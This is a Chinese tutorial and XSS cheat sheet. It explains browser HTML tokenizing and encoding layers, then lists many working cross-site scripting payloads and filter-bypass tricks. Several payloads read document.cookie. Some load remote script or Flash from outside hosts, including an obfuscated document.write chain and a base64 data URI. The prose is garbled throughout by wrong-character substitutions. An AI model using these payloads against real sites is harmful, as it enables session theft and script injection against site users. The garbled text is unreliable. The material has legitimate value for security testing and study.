HTMLTokenizer就是要从字节流解析出一个个这样的结构体来,他的实现是基于状态机来作的。状态机模型在<http://www.w3.org/TR/html5/tokenization.html#tokenization>
中已经明肯定义,nextToken方法实现了该状态机。
以一个简单的html文档来复盘状态机的几条路线。
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!--comment --> <html> <body> <a href=”w3c.org”>w3c</a> </body> </html>
在HTML中,某些字符是预留的。例如在HTML中不能使用“<”或“>”,这是由于浏览器可能误认为它们是标签的开始或结束。若是但愿正确地显示预留字符,就须要在HTML中使用对应的字符实体。一个HTML字符实体描述以下:
字符显示 | 描述 | 实体名称 | 实体编号 |
---|---|---|---|
< | 小于号 | < | <; |
字符引用包括“字符值引用”和“字符实体引用”。在上述HTML例子中,'<'对应的字符值引用为'<',对应的字符实体引用为‘<’。字符实体引用也被叫作“实体引用”或“实体”。)
不考虑相似<html>
和<body>
之间的回车换行(webkit里面有作特殊处理,也就是所谓的“authoring convenience”,m_skipLeadingNewLineForListing),从前面的描述中,咱们能够确认,该文档有9个HTMLToken,分别是文档类型声明,注释,html的起始标签,body的起始标签,a的起始标签,a的元素内容,a的介绍标签,body的结束标签,html的结束标签。
起始状态为DataState。
1)DOCTYPE
DataState:<!DOCTYPE,碰到’<’,进入TagOpenState TagOpenState:<!DOCTYPE, 碰到’!’,进入MarkupDeclarationOpenState状态 MarkupDeclarationOpenState:<!DOCTYPE,碰到’D’,匹配DOCTYPE和--字数都不够,保持现状 MarkupDeclarationOpenState:<!DOCTYPE,匹配doctype,进入DOCTYPEState状态(HTMLToken的type为DOCTYPE) DOCTYPEState: <!DOCTYPE html PUBL,碰到空格,进入BeforeDOCTYPENameState状态 BeforeDOCTYPENameState: <!DOCTYPE html PUBL,碰到’h’,进入DOCTYPENameState DOCTYPENameState: <!DOCTYPE html PUBL,碰到’t’,保持原状态,提取html做为文档类型 DOCTYPENameState: <!DOCTYPE html PUBL,碰到空格,进入AfterDOCTYPENameState状态。(HTMLToken的m_data为html) AfterDOCTYPENameState:<!DOCTYPE html PUBLIC,碰到’P’,还未能匹配Public或者system,保持状态 AfterDOCTYPENameState:<!DOCTYPE html PUBLIC,匹配public,进入AfterDOCTYPEPublicKeywordState AfterDOCTYPEPublicKeywordState:<!DOCTYPE html PUBLIC "-/,碰到空格,进入BeforeDOCTYPEPublicIdentifierState BeforeDOCTYPEPublicIdentifierState:<!DOCTYPE html PUBLIC "-/,碰到’”’,进入DOCTYPEPublicIdentifierDoubleQuotedState DOCTYPEPublicIdentifierDoubleQuotedState:<!DOCTYPE html PUBLIC "-/,碰到’-‘,保持状态,提取m_publicIdentifier DOCTYPEPublicIdentifierDoubleQuotedState:<!DOCTYPE html PUBLIC "-/…nal//EN">,碰到’”’,进入AfterDOCTYPEPublicIdentifierState状态。(HTMLToken的m_publicIdentifier肯定) AfterDOCTYPEPublicIdentifierState:<!DOCTYPE html PUBLIC "-/…nal//EN"> ,碰到’>’,进入DataState状态,完成文档类型的解析
2)COMMENT
DataState:<!--comment -->,碰到’<’,进入TagOpenState TagOpenState:<!--comment -->, 碰到’!’,进入MarkupDeclarationOpenState状态 MarkupDeclarationOpenState:<!--comment -->,碰到’-’,匹配DOCTYPE和--字数都不够,保持现状 MarkupDeclarationOpenState:<!--comment -->,匹配--,进入CommentStartState状态(HTMLToken的type为COMMENT) CommentStartState: <!--comment -->,碰到’c’,进入CommentState CommentState:<!--comment -->,碰到’-‘,进入CommentEndDashState状态(HTMLToken的m_data为comment) CommentEndDashState: <!--comment -->,碰到’-‘,进入CommentEndState状态 CommentEndState:<!--comment -->,碰到’>‘,进入DataState状态,完成解析。
3)起始标签a
DataState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到’<’,进入TagOpenState状态 TagOpenState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到’a’,进入TagNameState状态(HTMLToken的type为StartTag) TagNameState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到空格,进入BeforeAttributeNameState状态(HTMLToken的m_data为a) BeforeAttributeNameState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘h’,进入AttributeNameState状态 AttributeNameState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘=’,进入BeforeAttributeValueState状态(HTMLToken属性列表中加入一个属性,属性名为href) BeforeAttributeValueState: <a href=[”w3c.org](http://www.w3c.org/)">,碰到‘“’,进入AttributeValueDoubleQuotedState状态 AttributeValueDoubleQuotedState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘w’,保持状态,提取属性值 AttributeValueDoubleQuotedState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘“’,进入AfterAttributeValueQuotedState(HTMLToken当前属性的值为w3c.org). AfterAttributeValueQuotedState: <a href=[”w3c.org](http://www.w3c.org/)">,碰到‘>’,进入DataState,完成解析。 在完成startTag的解析的时候,会在解析器中存储与之匹配的end标签(m_appropriateEndTagName),等到解析end标签的时候,会同它进行匹配(语法解析的时候)。 html,body起始标签相似a起始标签,但没有属性解析
4) a元素
DataState:w3c</a>,碰到’w’,维持原状态,提取元素内容(HTMLToken的type为character)。 DataState:w3c</a>,碰到’<’,完成解析,不consume ’<’。(HTMLToken的m_data为w3c)。
5)a结束标签
DataState:w3c</a>,碰到’<’,进入TagOpenState。 TagOpenState:w3c</a>,碰到’/’,进入到EndTagOpenState。(HTMLToken的type为endTag)。 EndTagOpenState:w3c</a>,碰到’a’,进入到TagNameState。 TagNameState:w3c</a>,碰到’>’,进入到DataState,完成解析。
经过以上的复盘,一个标记的token过程清晰呈如今眼前,基本上就是实现http://www.w3.org/TR/html5/tokenization.html
这一章的一个过程,html的规范是至关宽松的,因此词法解析要考虑到的问题不少,html5specfication在这方面为实现者作了绝大部分工做。另外,html的语法解析会影响词法解析,好比语法解析在解析到head里面title的起始标签后,会将htmltokenizer解析器的状态设置为RCDATAState。
一个HTML解析器做为一个状态机,它从输入流中获取字符并按照转换规则转换到另外一种状态。在解析过程当中,浏览器处于Datastate状态时,只要遇到一个'<'符号(后面没有跟'/'符号)就会进入“标签开始状态(Tagopenstate)”。而后转变到“标签名状态(Tagnamestate)”,“前属性名状态(beforeattributenamestate)”......最后进入“数据状态(Datastate)”并释放当前标签的token。当解析器处于“数据状态(Datastate)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。
这里有三种状况能够容纳字符实体,“数据状态中的字符引用”,“RCDATA状态中的字符引用”和“属性值状态中的字符引用”。在这些状态中HTML字符实体将会从“&#...”形式解码,对应的解码字符会被放入数据缓冲区中。例如,在问题4中,“<”和“>”字符被编码为“<”和“>”。当解析器解析完“<div>”
并处于“数据状态”时,这两个字符将会被解析。当解析器遇到“&”字符,它会知道这是“数据状态的字符引用”,所以会消耗一个字符引用(例如“<”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。你们可能会想:这是否是意味着“<”和“>”的token将会被理解为标签的开始和结束,而后其中的脚本会被执行?答案是脚本并不会被执行。缘由是解析器在解析这个字符引用后不会转换到“标签开始状态”。正由于如此,就不会创建新标签。所以,咱们可以利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。
在HTML中有五类元素:
1.空元素(Voidelements),如<area>,<br>,<base>等等 2.原始文本元素(Rawtextelements),有<script>和<style> 3.RCDATA元素(RCDATAelements),有<textarea>和<title> 4.外部元素(Foreignelements),例如MathML命名空间或者SVG命名空间的元素 5.基本元素(Normalelements),即除了以上4种元素之外的元素
五类元素的区别以下:
1.空元素,不能容纳任何内容(由于它们没有闭合标签,没有内容可以放在开始标签和闭合标签中间)。
2.原始文本元素,能够容纳文本。
3.RCDATA元素,能够容纳文本和字符引用。(<)
4.外部元素,能够容纳文本、字符引用、CDATA段、其余元素和注释
5.基本元素,能够容纳文本、字符引用、其余元素和注释
2.原始文本元素(Rawtextelements),有<script>
和<style>
3.RCDATA元素(RCDATAelements),有<textarea>
和<title>
4.外部元素(Foreignelements),例如MathML命名空间或者SVG命名空间的元素。
5.基本元素(Normalelements),即除了以上4种元素之外的元素
HTML解析器的规则,其中有一种能够容纳字符引用的状况是“RCDATA状态中的字符引用”。这意味着在<textarea>
和<title>
标签中的字符引用会被HTML解析器解码。
这里要再提醒一次,在解析这些字符引用的过程当中不会进入“标签开始状态”。对RCDATA有个特殊的状况。在浏览器解析RCDATA元素的过程当中,解析器会进入“RCDATA状态”。
在这个状态中,若是遇到“<”字符,它会转换到“RCDATA小于号状态”。若是“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如<textarea>
或<title>
的内容中),惟一可以被解析器认作是标签的就是“</textarea>”
或者“</title>”
。这要看开始标签是哪个。在“<textarea>”
和“<title>”
的内容中不会建立标签,就不会有脚本可以执行。
3)编码知识
浏览器解析规则
URL编码:
一个百分号和该字符的ASCII编码所对应的2位十六进制数字,例如“/”的URL编码为%2F(通常大写,但不强求)
HTML实体编码:
JS编码:js提供了四种字符编码的策略
一、三个八进制数字,若是不够个数,前面补0,例如“e”编码为“\145” 二、两个十六进制数字,若是不够个数,前面补0,例如“e”编码为“\x65” 三、四个十六进制数字,若是不够个数,前面补0,例如“e”编码为“\u0065” 四、对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r) 五、jsfuck编码
CSS编码:用一个反斜线()后面跟1~6位的十六进制数字,例如e能够编码为“\65”或“65”或“00065”
HTML解析器能识别在文本节点和参数值里的实体编码,并在内存里建立文档树的表现形式时,透明的对这些编码进行解码
浏览器的解析规则:浏览器收到HTML内容后,会从头开始解析。当遇到JS代码时,会使用JS解析器解析。当遇到URL时,会使用URL解析器解析。遇到CSS则用CSS解析器解析。尤为当遇到复杂代码时,可能该段代码会通过多个解析器解析。
好比:<a href="javascript:window.open('http://www.baidu.com')">test</a>
这段代码,HTML解析器首先工做(注:此时,若href=”字符串”中的字符串存在字符引用,会对其解码)。而后URL解析器开始对href值进行URL解析。进行URL解析时,URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),否则就会进入“无类型”状态。即,javascript:是不能进行任何js编码的。解析了javascript:以后,会由JS解析器进行解析。JS解析器针对一些编码,其只有在标志符名称里的编码字符才可以被正常的解析。解析完window.open之后,又会由URL解析器进行解析。想了解各解析器的特性,可参考这篇文章深刻理解浏览器解析机制和XSS向量编码
JS解析器不会解析和解码字符引用,而针对JS的一些编码其会视状况而定。
能够看到,该代码通过了HTML->URL->JS->URL 四重解析。因为不一样的解析器可以分别对一些编码格式进行解析,因此咱们能够经过生成特定格式的编码代码,令其在依次解码后可以正确执行,从而绕过WAF。
如:
<a href="javascript:%61%6c%65%72%74%28%32%29">test</a>
该代码可以正确执行。
首先,通过HTML解析以后,代码会变成
<a href="javascript:%61%6c%65%72%74%28%32%29">test</a>
此时,因为javascript已经生成,不违反URL解析规则。因此,URL解析正常。解析了javascript,最终进入JS解析器。注意,URL解析器还完成了URL解码工做。
<a href="javascript:alert(2)">test</a>
因此,JS最终解析的代码时alert(2).成功执行。
总结来讲,各类编码在XSS中的利用很是灵活,咱们须要在充分了解浏览器的解析原理合理构造合理编码顺序的代码,最终构造出Payload。
1)反射性XSS
恶意代码一般存在于URL中须要用户去点击相应的连接才会触发,隐蔽性较差并且,并且可能会被浏览器的XSSFilter干掉
流程:输入--输出
2)存储型XSS
恶意代码一般存在于数据库中用户浏览被植入payload的“正常页面”时便可触发,隐蔽性较强,成功率高,稳定性好。
流程:输入--进入数据库--取出数据库--输出
三、测试方法
常规测试的Payload可使用https://xss.haozi.me/#/0x01
测试
输出位置可使用标签
<script>alert(1)</script>
<script>
标签</textarea><script>alert(1)</script>
<script>
标签"><script>alert(1)</script>
<img src=x onerror=alert(1)>
src报错,出发onerror事件。
<img src=x onerror=alert(1)>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> <iframe srcdoc="<script>alert(1)</script>"></iframe>
--!><script>alert(1)</script>
type=image src=1 onerror =alert(1)
<svg onload=alert(1)
</style ><script>alert(1)</script>
alert(1) -->
');alert('1
123;alert(1)
");alert("1
\");alert(1)//
四、测试总结
测试waf绕过
简单: "'<script javascript onload src><a href></a>#$%^ 全面: '";!-=#$%^&{()}<script javascript data onload href src img input><a href></a>alert(String.fromCharCode(88,83,83));prompt(1);confirm(1)</script>
观察输入输出状况,一些特殊字符是否被编码、标签是否被过滤、输出点在标签之间或标签以内。
输出位置进行XSS
模型: <div>[xss]</div> payload: <script>alert(1)</script>或者<img src=1 onerror=alert(1)> 这些标签有: <a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset> <embed> <svg> <video> <audio> 自带HtmlEncode(转义)功能的标签(RCDATA),这是插入的javascript不会被执行,除非闭合掉它们。 <textarea></textarea> <title></title> <iframe></iframe> <noscript></noscript> <noframes></noframes> <xmp></xmp> <plaintext></plaintext> 其余:<math></math>
在该位置,空格被过滤,可用/**/代替空格。输出在注释中,经过换行符%0a %0d使其逃逸出来。
1.不在字符串内。
判断<>/是否被过滤。若是没有,那么直接插入就能够。
```
payload:
```
2.在字符串中
此时须要闭合字符串,并保证插入的JS代码符合语法规范。
如:
<script> Var x="Input"; </script> payload: input是输出点,咱们首先要闭合双引号,才能保证XSS成功。若是咱们没法闭合包括字符串的引号(引号被转义),就很难利用。
除非存在两个输出点或宽字节,在引号被转义成"时有效。在网页为GBK编码时,存在宽字节问题。
反斜线复仇记 | 利用点 |
---|---|
https://wizardforcel.gitbooks.io/xss-naxienian/content/4.html |
两个输入点 |
那些年咱们一块儿学XSS【宽字节复仇记】 | |
https://wizardforcel.gitbooks.io/xss-naxienian/content/3.html |
宽字节 |
1.文本属性中
例如:`<input value="输出">` 、 `<img onload="...[输出]...">` ,再好比 `<body style="...[输出]...">` - 无引号包裹,直接添加新的事件属性。 - 有引号包括。首先测试引号是否可用,可用则闭合属性以后添加新的事件属性。 HTML的属性,若是被进行HTML实体编码(形如''),那么HTML会对其进行自动解码,从而咱们能够在属性里以HTML实体编码的方式引入任意字符,从而方便咱们在事件属性里以JS的方式构造payload。固然,也能够闭合属性后,而后再执行脚本。
2.src/href/action/xlink:href/autofocus/content/data
等属性直接使用伪协议绕过。
``` javascript 伪协议: <a href=javascript:alert(2)>test</a> data 协议执行 javascript: <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被拦截,Firefox能够) urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(测试未经过) 不使用 href 的另一种组合来执行 js: <svg><a xlink:href="javascript:alert(14)"> <rect width="1000" height="1000" fill="white"/> </a></svg>(都可) 或者: <math> <a xlink:href=javascript:alert(1)>1</a> </math>(Chrome不可,Firefox能够) ``` 若是不行,则测试添加事件进行触发。(首先仍是须要闭合)如:
<a href="test.com" onmouseover=alert(1)>ClickHere</a>
3.on*事件
插入合乎逻辑的JS代码便可。也可使用伪协议。
常见事件
onload onclick onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop
4.style属性内及css代码之中IE可执行,而且在IE6以上被防护,不适合其余浏览器,基本已死。
style="width:expression(js代码)" background-image:url('javascript:alert(2)')
输出在meta标签
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
1.a标签
<a href=javascript:alert(2)>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 或者 <math><a xlink:href=javascript:alert(1)></math>
2.script标签
最简单的测试payload:
<script>alert(1)</script>
jsfuck版本:
http://www.jsfuck.com/ <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
各类编码版本:
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script> <script>prompt(-[])</script>//不仅是alert。prompt和confirm也能够弹窗 <script>alert(/3/)</script>//能够用"/"来代替单引号和双引号 <script>alert(String.fromCharCode(49))</script> //咱们还能够用char <script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行 <script>setTimeout('alert(1)',0)</script> //若是输出是在setTimeout里,咱们依然能够直接执行alert(1)
3.button标签
event事件实现js调用:
<button/onclick=alert(1) >M</button>
html5的新姿式:
须要交互的版本:
<form><button formaction=javascript:alert(1)>M
不须要交互的版本:
<button onfocus=alert(1) autofocus>
4.p标签
""
就足够了:<p/onmouseover=javascript:alert(1); >M</p>
5.img标签
有些姿式是由于浏览器的不一样而不能成功执行的。
<img src ?itworksonchrome?\/onerror = alert(1)> //只在chrome下有效 <img/src/onerror=alert(1)> //只在chrome下有效
<img src=x onerror=alert(1)> <img src="x:kcf" onerror="alert(1)">
6.body标签
经过event事件来调用js
<body onload=alert(1)> <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
7.var标签
<var onmouseover="prompt(1)">M</var>
8.div标签
<div/onmouseover='alert(1)'>X <div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
9.iframe标签
有时候咱们能够经过实体编码、换行和Tab字符来bypass。咱们还能够经过事先在swf文件中插入咱们的xss code,而后经过src属性来调用。不过关于flash,只有在crossdomain.xml文件中,allow-access-from domain=”*“容许从外部调用swf时,才能够经过flash来事先xss attack。
下面的	
为tab字符
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> <iframe SRC="http://0x.lv/xss.swf"></iframe> <IFRAME SRC="javascript:alert(1);"></IFRAME> <iframe/onload=alert(1)></iframe>
10.meta标签
测试时发现昵称,文章标题跑到meta标签中,那么只须要跳出当前属性再添加http-equiv="refresh"
,就能够构造一个有效地xss payload。还有一些猥琐的思路,就是经过给http-equiv
设置set-cookie
,进一步从新设置cookie来干一些猥琐的事情。
<meta http-equiv="refresh" content="0;javascript:alert(1)"/> <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
和a标签的href属性的玩法是同样的,优势是无需交互。
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
<marquee onstart="alert('1')"></marquee>
在一些只针对属性作了过滤的webapp中,action颇有多是漏网之鱼。
<isindex type=image src=1 onerror=alert(1)> <isindex action=javascript:alert(1) type=image>
经过event来调用js。和button同样经过autofocus能够达到无需交互便可弹窗的效果。
<input onfocus=javascript:alert(1) autofocus> <input onblur=javascript:alert(1) autofocus><input autofocus>
<select onfocus=javascript:alert(1) autofocus>
<textarea onfocus=javascript:alert(1) autofocus>
<keygen onfocus=javascript:alert(1) autofocus>
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome <embed src=javascript:alert(1)> //firefox
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> //chrome有效
<math href="javascript:javascript:alert(1)">CLICKME</math> <math><y/xlink:href=javascript:alert(51)>test1 <math> <maction actiontype="statusline#http://wangnima.com" xlink:href="javascript:alert(49)">CLICKME
<video><source onerror="alert(1)"> <video src=x onerror=alert(48)>
<audio src=x onerror=alert(47)>
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
<video poster=javascript:alert(1)//></video> // Opera 10.5如下有效
<applet code="javascript:confirm(document.cookie);"> // Firefox有效 embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<img style="xss:expression(alert(0))"> // IE7如下 <div style="color:rgb(''�x:expression(alert(1))"></div> // IE7如下 <style>#test{x:expression(alert(/XSS/))}</style> // IE7如下
过WAF技巧
<scr<script>ipt>
<sCript>
<IMG SRC=javascript:alert('XSS')>
<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
<q/oncut=alert(1)>//在限制长度的地方颇有效
<script>alert(/jdq/)</script> //用双引号会把引号内的内容单独做为内容 用斜杠,则会连斜杠一块儿回显
<a href="javascript:alert(/test/)">xss</a> <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<script>alert(/3/)</script>
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a> <img src=x onerror="javascript:window.onerror=alert;throw 1">
以上两个测试向量在 Chrome 和 IE 上会出现一个 “uncaught” 错误,能够用下面的向量代替(下面向量在FireFox上测试失败)
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
<svg><script>alert(/1/)</script>
opera 中能够不闭合 <svg><script>alert( 1)
// Opera可查<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>
时,能够用回车、Tab键将src中的内容隔开,回车的url编码为%0a,%0b;<scri<!-- 第二处-->pt>
;<a onmouseover="alert(document.cookie)">xxs link</a> 在chrome下,其回补全缺失的引号。所以,也能够这样写: <a onmouseover=alert(document.cookie)>xxs link</a>
<script>z=’document.’</script> <script>z=z+’write(“‘</script> <script>z=z+’<script’</script> <script>z=z+’ src=ht’</script> <script>z=z+’tp://ww’</script> <script>z=z+’w.shell’</script> <script>z=z+’.net/1.’</script> <script>z=z+’js></sc’</script> <script>z=z+’ript>”)’</script> <script>eval_r(z)</script>
JS函数(如eval,settimeout)还有就是href= action= formaction= location= on*= name= background= poster= src= code=这些地方,能够配合编码。此外,data属性能够base64编码。 1.js16进制 <script>eval(“js+16进制加密”)</script> <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script> 编码要执行的语句↓ Alert(“xss”) 2.js unicode <script>eval("unicode加密")</script> //js unicode加密 解决alert()被过滤 <script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script> 3.String.fromCharCode函数(不须要任何引号,必须函数内) <script>eval(String.fromCharCode编码内容))</script> <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script> 4.jsfuck版本 <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> 5.HTML编码: <img src='1' onerror='alert(1)'> 6.base64编码(仅data支持) <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object> 格式: Data:<mime type>,<encoded data> Data //协议 <mime type> //数据类型 charset=<charset> //指定编码 [;base64] //被指定的编码 <encoded data> //定义data协议的编码 特色:不支持IE
<?=json_encode($_GET['x'])?>
?x=<img+src=x+onerror=ö-alert(1)>
当返回结果在 svg 标签中的时候,会有一个特性 <svg><script>varmyvar="YourInput";</script></svg>
YourInput 可控,输入 www.site.com/test.php?var=text";alert(1)//
若是把 “ 编码一些他仍然可以执行: <svg><script>varmyvar="text";alert(1)//";</script></svg>
《XSS测试备忘录》http://momomoxiaoxi.com/2017/10/10/XSS/
(360安全客)深刻理解浏览器解析机制和XSS向量编码
WEBKIT中的HTML词法解析 https://blog.csdn.net/dlmu2001/article/details/5998130